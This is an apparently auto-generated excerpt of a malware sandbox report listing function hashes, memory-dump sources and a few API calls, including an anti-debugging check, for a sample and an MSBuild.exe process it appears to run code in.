Uniqueness Score: -1.00%

Function 051F1652 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2099321204.00000000051F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_51f0000_CNqCubHKvlzbGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b7fa9731800af4f07bbae890b2b98d2061b331b95f7c2b66b2707622d66c514
Instruction ID: 8247edb6cfbda79f2b9517f40ddc9253034086e7f99c27a15d0685c0b6406dba
Opcode Fuzzy Hash: 3b7fa9731800af4f07bbae890b2b98d2061b331b95f7c2b66b2707622d66c514
Instruction Fuzzy Hash: E811E0B5800248DFCB20DF9AD584B9ABBF4EB48320F14841AD519A7240C778A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 051F1658 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2099321204.00000000051F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_51f0000_CNqCubHKvlzbGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2907d2e54a63c48b3ea9fbd6af16bd52266243763d129c2718473756caf08346
Instruction ID: f5196ecba12c3551d8c77116a2bbc3aa4c1f63b68d7b838425dfb128edefd479
Opcode Fuzzy Hash: 2907d2e54a63c48b3ea9fbd6af16bd52266243763d129c2718473756caf08346
Instruction Fuzzy Hash: 8311F2B5800248CFCB20DF9AC584B9EBBF4EB48320F14841AD519A7340C374A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 051FA0B8 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2099321204.00000000051F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_51f0000_CNqCubHKvlzbGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 04ea30978ba37ab2fc97dcccbf59ba4407a941b76b33f43fda7fd32987f26016
Instruction ID: 8934780ceb47567f90d3dbfacd3cbb110e96efd09c04f00c7a21abf3af96b432
Opcode Fuzzy Hash: 04ea30978ba37ab2fc97dcccbf59ba4407a941b76b33f43fda7fd32987f26016
Instruction Fuzzy Hash: 50014B75A012089FDB04CFA8C584A9DBFF1EF48322F15C194E9085B3A1DB349A82DF01

Uniqueness

Uniqueness Score: -1.00%

Function 051FE49A Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2099321204.00000000051F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_51f0000_CNqCubHKvlzbGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ccb0f8ddff487bd99425c31555bf6382c9e53eea2e10707d6b9b022c235b7a02
Instruction ID: 2efd6ad4a42fede1830d3e817ee4e2bf96ecd3098dc370da277dd3b69138711d
Opcode Fuzzy Hash: ccb0f8ddff487bd99425c31555bf6382c9e53eea2e10707d6b9b022c235b7a02
Instruction Fuzzy Hash: 1DF09672B001046FDB05DF59D844F6A7BFAEFC4220B04C066E918D7225D730D9108F50

Uniqueness

Uniqueness Score: -1.00%

Function 051F34B1 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2099321204.00000000051F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_51f0000_CNqCubHKvlzbGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4447ab1cc8568d5929cc042adc2c2f57fa712af21416b9bcb60c6f4bf2257d07
Instruction ID: fd493f8dd9c4dc46600bed2144555cc95518272c50b68bd35204db2f9462359b
Opcode Fuzzy Hash: 4447ab1cc8568d5929cc042adc2c2f57fa712af21416b9bcb60c6f4bf2257d07
Instruction Fuzzy Hash: 3BF0B4352006145BCB06A729DC85A9EBF6AEFC9320F848955E8455B357CE245D0586A0

Uniqueness

Uniqueness Score: -1.00%

Function 051FA0C8 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2099321204.00000000051F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_51f0000_CNqCubHKvlzbGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4953db9ac7743bc64d3978905b32700484883bb133bcd2692f9843eeeef00e14
Instruction ID: 95fef8f2775ad9039d6d4dd3dbab06fc09b56ca21c8639618bf4a143b76fd333
Opcode Fuzzy Hash: 4953db9ac7743bc64d3978905b32700484883bb133bcd2692f9843eeeef00e14
Instruction Fuzzy Hash: 0401B674E01208AFDB44DFA9C589A9DBFF5AF48310F15C0A4E9089B361DA34DA80DF40

Uniqueness

Uniqueness Score: -1.00%

Function 051F34C0 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2099321204.00000000051F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_51f0000_CNqCubHKvlzbGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d56882de0703d01eef897b719414c9e9b2f2f0cf85cd4c5d9fdd3ba70eda23ee
Instruction ID: e7b40281ccd5dac69d2f4c4ecbcc29ac63bc420c2adace5e270423bd0bc8a2f2
Opcode Fuzzy Hash: d56882de0703d01eef897b719414c9e9b2f2f0cf85cd4c5d9fdd3ba70eda23ee
Instruction Fuzzy Hash: 2CF0377530061457C706A669EC8489FBF5BFFC4361B808915F9195B3578F305D4586A0

Uniqueness

Uniqueness Score: -1.00%

Function 051F0EFF Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2099321204.00000000051F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_51f0000_CNqCubHKvlzbGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02d77eb642e0d59b363716289970a412009203527f006a211d8c0e3b389eb1e7
Instruction ID: 0ff3c61f9ed1c1540498e25175e6d50df0f378ab41b4fecca05ae29d571456ff
Opcode Fuzzy Hash: 02d77eb642e0d59b363716289970a412009203527f006a211d8c0e3b389eb1e7
Instruction Fuzzy Hash: FCF06575A11209EFCB00EFB4E841B5C7FB5EB04310F2045A5F805E3385EA356F509B60

Uniqueness

Uniqueness Score: -1.00%

Function 051F48F8 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2099321204.00000000051F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_51f0000_CNqCubHKvlzbGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4066265b231a875b04af54625f824cedd21964403a6b3da8db93eb1bf5220d4
Instruction ID: 143ffe087265c544d03a8f7d8d119ca8d7259ea3f666f19fa99acbe5d3eff7a5
Opcode Fuzzy Hash: c4066265b231a875b04af54625f824cedd21964403a6b3da8db93eb1bf5220d4
Instruction Fuzzy Hash: 75E0DFE031A3549FDB034A204860A223A35BBEAA00F5250A6C8C1CB2D2DF218945C773

Uniqueness

Uniqueness Score: -1.00%

Function 051F0F10 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2099321204.00000000051F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_51f0000_CNqCubHKvlzbGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7700f93f188480e89e4336c099d9f0aeb04ec7b6459a18ff19566b61fe278c43
Instruction ID: 0f0a4eb0643c51df8e406d014213fc9253017675a9dfcf6ef116df927b591fb1
Opcode Fuzzy Hash: 7700f93f188480e89e4336c099d9f0aeb04ec7b6459a18ff19566b61fe278c43
Instruction Fuzzy Hash: CDE08670A11209EFCB00FFA4E40195C7BB9EB44310F1085A5E805E3384EB362F509B60

Uniqueness

Uniqueness Score: -1.00%

Function 051F90DC Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2099321204.00000000051F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_51f0000_CNqCubHKvlzbGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26505a598c0d42a73c8d66a2952d3c110463d17b572cb7d17929bc4ecbf64c30
Instruction ID: d3d3e2a70261d6351988fab8628f3510c33f12711ee708eff8ec0979936e4635
Opcode Fuzzy Hash: 26505a598c0d42a73c8d66a2952d3c110463d17b572cb7d17929bc4ecbf64c30
Instruction Fuzzy Hash: 14E046B551B344CFC768EBA0C0829987B76FF48361B212099E0039A2A8CB35E982CF10

Uniqueness

Uniqueness Score: -1.00%

Function 051F9064 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2099321204.00000000051F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_51f0000_CNqCubHKvlzbGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 677f5fb469f386a103c96462200b97006ca383c5910d72845c59d0f516cace49
Instruction ID: 04efa8c62ef75044bcb087937b8fedc4a23d2ebe9f2cc488e089db49d1feed59
Opcode Fuzzy Hash: 677f5fb469f386a103c96462200b97006ca383c5910d72845c59d0f516cace49
Instruction Fuzzy Hash: 2CE08C75913344DFCB68DFA0C495589BB71FF44350B1010A5E8168F2A9D7368A82CF20

Uniqueness

Uniqueness Score: -1.00%

Function 051F95A3 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2099321204.00000000051F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_51f0000_CNqCubHKvlzbGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35f731ba1e82027f1e5860bdca0fcce678442e5fbb85d6796873c2c829c5a6d1
Instruction ID: ffd55a5539b61b8e38547a3c69713c0b3ecd8f19a20e73bf8b2b4afc9040531e
Opcode Fuzzy Hash: 35f731ba1e82027f1e5860bdca0fcce678442e5fbb85d6796873c2c829c5a6d1
Instruction Fuzzy Hash: 5EE0C2B0C56268DFCB68DF65C9857DDBBB0AB08350F0008CA828667290E7310AE0CF14

Uniqueness

Uniqueness Score: -1.00%

Function 051F6430 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2099321204.00000000051F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_51f0000_CNqCubHKvlzbGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2030a65f43350065467322c426cbe04e84c5c9645e1297e97e52c76de7e8e028
Instruction ID: 8f5c5ed734c55c315f3b2b40576e62b0a07e0663f90d1935c3b1505a900ce9ac
Opcode Fuzzy Hash: 2030a65f43350065467322c426cbe04e84c5c9645e1297e97e52c76de7e8e028
Instruction Fuzzy Hash: 95C012222615144FE340A751D453B153A92F3C8305F948410A501C61C4CA2D8C41CB62

Uniqueness

Uniqueness Score: -1.00%

Function 051F68A0 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2099321204.00000000051F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_51f0000_CNqCubHKvlzbGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27620ced5d31e6301cf18a50e6e6a28c902a72b04d447a69053c5e39f45193f2
Instruction ID: a84f5172aff35037fd368cd559f7eb59306144adbd8e6ee770a78a3c759075d9
Opcode Fuzzy Hash: 27620ced5d31e6301cf18a50e6e6a28c902a72b04d447a69053c5e39f45193f2
Instruction Fuzzy Hash: DAC012704173089BE750DAB4A449755BAACD705232F004165E50983150DA7505809B75

Uniqueness

Uniqueness Score: -1.00%

Function 051F6F0D Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2099321204.00000000051F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_51f0000_CNqCubHKvlzbGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3133f4faed7b88bb3361000a76cc65715a36bc61b2d837b4c0f2f93f58f6132
Instruction ID: f736098f90c225b8a8b3481b0ad64b0620a411a3e433cbd76ba18d74a35398cc
Opcode Fuzzy Hash: c3133f4faed7b88bb3361000a76cc65715a36bc61b2d837b4c0f2f93f58f6132
Instruction Fuzzy Hash: 3FD017709121198FCB94DF28D880B8CBBB6FF44200F10EA99E00AE7165DA705E89CF04

Uniqueness

Uniqueness Score: -1.00%

Function 051FE470 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2099321204.00000000051F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_51f0000_CNqCubHKvlzbGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bed5a2d4ff87d0e74b1cf53295a5b1d66d4fde2448414dd5fe45ad5221fe0c3d
Instruction ID: 11beb685e9f691e88729c12474927110ca79e5b223a267506c35a2abe4545e76
Opcode Fuzzy Hash: bed5a2d4ff87d0e74b1cf53295a5b1d66d4fde2448414dd5fe45ad5221fe0c3d
Instruction Fuzzy Hash: 05C08CA7A583C05EE30283A48C0AA097F609F63710708808BE3A0450D2C2240494CB23

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: MSBuild.exePID: 736, Parent PID: 5988COMMON

Execution Graph

Execution Coverage:	10.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	17
Total number of Limit Nodes:	1

Executed Functions

Function 067759C8 Relevance: 9.0, Strings: 6, Instructions: 1483COMMON

Download Yara Rule

Strings

$eq, xrefs: 06776DD0
$eq, xrefs: 06776DA7
$eq, xrefs: 06776DB3
$eq, xrefs: 06776E00
$eq, xrefs: 06776DF4
$eq, xrefs: 06776DDC

Memory Dump Source

Source File: 0000000D.00000002.3258427965.0000000006770000.00000040.00000800.00020000.00000000.sdmp, Offset: 06770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6770000_MSBuild.jbxd

Similarity

API ID:
String ID: $eq$$eq$$eq$$eq$$eq$$eq
API String ID: 0-220072568
Opcode ID: 4a7cb9c8da690b011f2c71cffe209f0e3c74dfe69c06aa159cd9d07ee6c73f37
Instruction ID: ca20b5a9e74bf652094307358491b0f10f71b4329ec84e144b895b1abe0efb3e
Opcode Fuzzy Hash: 4a7cb9c8da690b011f2c71cffe209f0e3c74dfe69c06aa159cd9d07ee6c73f37
Instruction Fuzzy Hash: 08D24A30E10609CFDF64DB68C594AADB7B2FF89314F64C569D409AB265EB34ED81CB80

Uniqueness

Uniqueness Score: -1.00%

Function 0677E848 Relevance: 8.3, Strings: 6, Instructions: 781COMMON

Download Yara Rule

Strings

$eq, xrefs: 0677F1F3
$eq, xrefs: 0677F1CB
$eq, xrefs: 0677F1BF
$eq, xrefs: 0677F1FF
$eq, xrefs: 0677F197
$eq, xrefs: 0677F18B

Memory Dump Source

Source File: 0000000D.00000002.3258427965.0000000006770000.00000040.00000800.00020000.00000000.sdmp, Offset: 06770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6770000_MSBuild.jbxd

Similarity

API ID:
String ID: $eq$$eq$$eq$$eq$$eq$$eq
API String ID: 0-220072568
Opcode ID: 85937a345b28e92877cb8263f50817471f93d8b6acae9d700c186277b659d825
Instruction ID: 01830a2f162fe9f7d4dc5b584c5dcb0aad373f967cf4712b2bb80c7282c217ef
Opcode Fuzzy Hash: 85937a345b28e92877cb8263f50817471f93d8b6acae9d700c186277b659d825
Instruction Fuzzy Hash: 39527D74E102098FDFA4CB68D5946BEB7B2EB85310F608866E415EB395DB34EC81CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0677B398 Relevance: 3.0, Strings: 2, Instructions: 478
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$eq, xrefs: 0677B93F
$eq, xrefs: 0677B933

Memory Dump Source

Source File: 0000000D.00000002.3258427965.0000000006770000.00000040.00000800.00020000.00000000.sdmp, Offset: 06770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6770000_MSBuild.jbxd

Similarity

API ID:
String ID: $eq$$eq
API String ID: 0-2246304398
Opcode ID: 58df3a3ce48aa567ef62970585a7a6f0d7ef5e69a99606a05f4b6d12d39a1a29
Instruction ID: 415e4ade7f594dea7ceb84db6ba51671f8f130e79965948ca0d3434ca802e894
Opcode Fuzzy Hash: 58df3a3ce48aa567ef62970585a7a6f0d7ef5e69a99606a05f4b6d12d39a1a29
Instruction Fuzzy Hash: 0702AF30B0021A8FDF54DF68D594A6EB7A2FF85700F148529E515EB399EB34ED82CB90

Uniqueness

Uniqueness Score: -1.00%

Function 06770040 Relevance: 2.8, Instructions: 2761COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3258427965.0000000006770000.00000040.00000800.00020000.00000000.sdmp, Offset: 06770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6770000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd13a968958c2921d60d12969a535e3b41dc7d592c986321cda305aa57750602
Instruction ID: 4d9ac123782d21509a8744f0db0fe7ed143d5b0e018c00d7f8e17827f0ab3b80
Opcode Fuzzy Hash: cd13a968958c2921d60d12969a535e3b41dc7d592c986321cda305aa57750602
Instruction Fuzzy Hash: B153E531D10B1A8EDB51EB68C8809A9F7B1FF99300F51D79AE45977121EB70AAC4CF81

Uniqueness

Uniqueness Score: -1.00%

Function 067732F8 Relevance: 2.3, Instructions: 2315COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3258427965.0000000006770000.00000040.00000800.00020000.00000000.sdmp, Offset: 06770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6770000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ecc33288d6a4c936e0d35d94cd748bcff980214c444f417f9a1dfb86b0e7726
Instruction ID: 0a7251fddd5105c4a53e9a1852cfe59a92fc734ee224b1a938cc57681caa9f61
Opcode Fuzzy Hash: 4ecc33288d6a4c936e0d35d94cd748bcff980214c444f417f9a1dfb86b0e7726
Instruction Fuzzy Hash: 50332E31D10B198EDB11EF68C8805ADF7B1FF99300F15C79AE459A7225EB70AAC5CB81

Uniqueness

Uniqueness Score: -1.00%

Function 06770007 Relevance: 2.2, Instructions: 2163COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3258427965.0000000006770000.00000040.00000800.00020000.00000000.sdmp, Offset: 06770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6770000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1be22ee54eb27ee4950edf3821b5f91d899ec127c2290ec32a29ad387037b54
Instruction ID: 012f571608e08b9016b23fe42dcf0f7a5d4ac5031e450926e8fe8246ae31c26e
Opcode Fuzzy Hash: a1be22ee54eb27ee4950edf3821b5f91d899ec127c2290ec32a29ad387037b54
Instruction Fuzzy Hash: A833D331D10B1A8ACB51EB68C8845A9F7B1FF9A300F51D79AE45977121FB70AAC4CF81

Uniqueness

Uniqueness Score: -1.00%

Function 06779C10 Relevance: .8, Instructions: 814COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3258427965.0000000006770000.00000040.00000800.00020000.00000000.sdmp, Offset: 06770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6770000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1307b4058a5428f0411403d5897fac83a213419807e2b938a876659d0da6026
Instruction ID: f524e3120f079ed25a3be9c1b17036709040c6e6ac1acd0298d2d75b965e38a6
Opcode Fuzzy Hash: e1307b4058a5428f0411403d5897fac83a213419807e2b938a876659d0da6026
Instruction Fuzzy Hash: A6629B30B112048FEF54DB68D594AADB7F2EF89314F248569E406EB394EB35ED81CB90

Uniqueness

Uniqueness Score: -1.00%

Function 067787E0 Relevance: .6, Instructions: 586COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3258427965.0000000006770000.00000040.00000800.00020000.00000000.sdmp, Offset: 06770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6770000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbf6889de2c29661429efe4a6b3c0c14ec360459929b563ed5aadc8b4196f17c
Instruction ID: 845d8a412d6858ef7169bb18a0346e730e142e873f9a50ab7bfc9965e9685473
Opcode Fuzzy Hash: dbf6889de2c29661429efe4a6b3c0c14ec360459929b563ed5aadc8b4196f17c
Instruction Fuzzy Hash: 7912B271F102159FDF64DB64C88867EB7A2FB85310F24843AE815AB395DB34EC45CB92

Uniqueness

Uniqueness Score: -1.00%

Function 0677E2E0 Relevance: 11.6, Strings: 9, Instructions: 391
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$eq, xrefs: 0677E483
$eq, xrefs: 0677E454
$eq, xrefs: 0677E40D
$eq, xrefs: 0677E48F
$eq, xrefs: 0677E401
$eq, xrefs: 0677E4B8
W, xrefs: 0677E52D
$eq, xrefs: 0677E460
$eq, xrefs: 0677E4AC

Memory Dump Source

Source File: 0000000D.00000002.3258427965.0000000006770000.00000040.00000800.00020000.00000000.sdmp, Offset: 06770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6770000_MSBuild.jbxd

Similarity

API ID:
String ID: W$$eq$$eq$$eq$$eq$$eq$$eq$$eq$$eq
API String ID: 0-2051485347
Opcode ID: 4b6423bd50ac9224c922615e0e02c001c32f847a6fcdd7fb6a2154b68c08e7b1
Instruction ID: cb710b605ce981337b6723ffa6e32f61d6ed003f4c3208082e6953a271adbca2
Opcode Fuzzy Hash: 4b6423bd50ac9224c922615e0e02c001c32f847a6fcdd7fb6a2154b68c08e7b1
Instruction Fuzzy Hash: 7BE18F30F1020A8FDF55DFA8D5906AEBBB2FF85304F608969E405EB355DB709886CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0677C768 Relevance: 5.2, Strings: 4, Instructions: 231
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$eq, xrefs: 0677C81F
$eq, xrefs: 0677C7D8
$eq, xrefs: 0677C813
$eq, xrefs: 0677C7E4

Memory Dump Source

Source File: 0000000D.00000002.3258427965.0000000006770000.00000040.00000800.00020000.00000000.sdmp, Offset: 06770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6770000_MSBuild.jbxd

Similarity

API ID:
String ID: $eq$$eq$$eq$$eq
API String ID: 0-812946093
Opcode ID: f63119cb481ac4e89c63534404a8406686bf0c616a598573279fb527b6402881
Instruction ID: c408fc98d40c76164334b4896e5286d5038ee9d3965680497f1dec06f9902389
Opcode Fuzzy Hash: f63119cb481ac4e89c63534404a8406686bf0c616a598573279fb527b6402881
Instruction Fuzzy Hash: F8914F30F1061A8FDF55DB64D9607AEB7B6EF89300F508569D419EB398EF30AC418B90

Uniqueness

Uniqueness Score: -1.00%

Function 06777DB0 Relevance: 3.9, Strings: 3, Instructions: 186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

\Ojq, xrefs: 06777F67
fjq, xrefs: 067784BD
XPjq, xrefs: 06777EDD

Memory Dump Source

Source File: 0000000D.00000002.3258427965.0000000006770000.00000040.00000800.00020000.00000000.sdmp, Offset: 06770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6770000_MSBuild.jbxd

Similarity

API ID:
String ID: fjq$XPjq$\Ojq
API String ID: 0-216941231
Opcode ID: 1ead421b26e0ba70de712f7b9cfd22a9df968618ab65377446f727b850f56596
Instruction ID: 91e67ad5407b8506b79f84e36635fe83da9af40ccce094e97351f90ca305bc8c
Opcode Fuzzy Hash: 1ead421b26e0ba70de712f7b9cfd22a9df968618ab65377446f727b850f56596
Instruction Fuzzy Hash: 9F617F30F102199FEF549FA4C9547AEBAB6FF88300F20802AE51AAB395DF744D45CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0677C758 Relevance: 2.7, Strings: 2, Instructions: 169
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$eq, xrefs: 0677C7D8
$eq, xrefs: 0677C813

Memory Dump Source

Source File: 0000000D.00000002.3258427965.0000000006770000.00000040.00000800.00020000.00000000.sdmp, Offset: 06770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6770000_MSBuild.jbxd

Similarity

API ID:
String ID: $eq$$eq
API String ID: 0-2246304398
Opcode ID: 15f3745318044ae8deca3ba0a51ae75f5afabd46e2568ac7d70f4661146bb980
Instruction ID: 2fade0d748e1af4bb9f7814008d5926de4b0fa97611bbb826f10d80d3557f46c
Opcode Fuzzy Hash: 15f3745318044ae8deca3ba0a51ae75f5afabd46e2568ac7d70f4661146bb980
Instruction Fuzzy Hash: 7D516130B0020A8FDF55EB74D9A076EB7F6EF89300F508569D419EB398EE319C418B90

Uniqueness

Uniqueness Score: -1.00%

Function 06BC0C70 Relevance: 1.6, APIs: 1, Instructions: 93
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 06BC0D31

Memory Dump Source

Source File: 0000000D.00000002.3258722726.0000000006BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6bc0000_MSBuild.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 42a56698cb22278114c6c6cdde129533e9a47b84c11f2a98aee850e724ae47a2
Instruction ID: f903767215350d66c9a8c88e1de6e21270581b9dca272eb9cfb69927a43cf950
Opcode Fuzzy Hash: 42a56698cb22278114c6c6cdde129533e9a47b84c11f2a98aee850e724ae47a2
Instruction Fuzzy Hash: 79411AB5900305CFCB54DF99C848A9ABBF5FB88324F24C49DD519AB321D335A941CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 013270A0 Relevance: 1.6, APIs: 1, Instructions: 70
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CheckRemoteDebuggerPresent.KERNELBASE(?,?), ref: 0132711F

Memory Dump Source

Source File: 0000000D.00000002.3250509676.0000000001320000.00000040.00000800.00020000.00000000.sdmp, Offset: 01320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1320000_MSBuild.jbxd

Similarity

API ID: CheckDebuggerPresentRemote
String ID:
API String ID: 3662101638-0
Opcode ID: 2f9ea4d700cdcc7faad4e125b3b017bfee7895a3e567882eb2c59e2cdf819d5f
Instruction ID: 36df4897271c55107109aa1ac56a74fdd229310c309d43645c986c93dbc96b33
Opcode Fuzzy Hash: 2f9ea4d700cdcc7faad4e125b3b017bfee7895a3e567882eb2c59e2cdf819d5f
Instruction Fuzzy Hash: 10214AB18002598FCB10CFA9D884BEEFBF4FF59320F24845AE455A3241D778A945CF60

Uniqueness

Uniqueness Score: -1.00%

Function 013270A8 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CheckRemoteDebuggerPresent.KERNELBASE(?,?), ref: 0132711F

Memory Dump Source

Source File: 0000000D.00000002.3250509676.0000000001320000.00000040.00000800.00020000.00000000.sdmp, Offset: 01320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1320000_MSBuild.jbxd

Similarity

API ID: CheckDebuggerPresentRemote
String ID:
API String ID: 3662101638-0
Opcode ID: 77ab58b614cd3a01c4024523247c5a8bc163fa18af5afa9811f54f43a279c384
Instruction ID: b0f599b2c6ba6e05f0b69be042a1e2166ed5aa0c5e721c01101bfe3b1b873c55
Opcode Fuzzy Hash: 77ab58b614cd3a01c4024523247c5a8bc163fa18af5afa9811f54f43a279c384
Instruction Fuzzy Hash: 352139B58002598FDB10CF9AD884BEEFBF4FF59310F24845AE455A3251D778A944CF61

Uniqueness

Uniqueness Score: -1.00%

Function 06BC22E0 Relevance: 1.5, APIs: 1, Instructions: 46
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OleInitialize.OLE32(00000000), ref: 06BC320D

Memory Dump Source

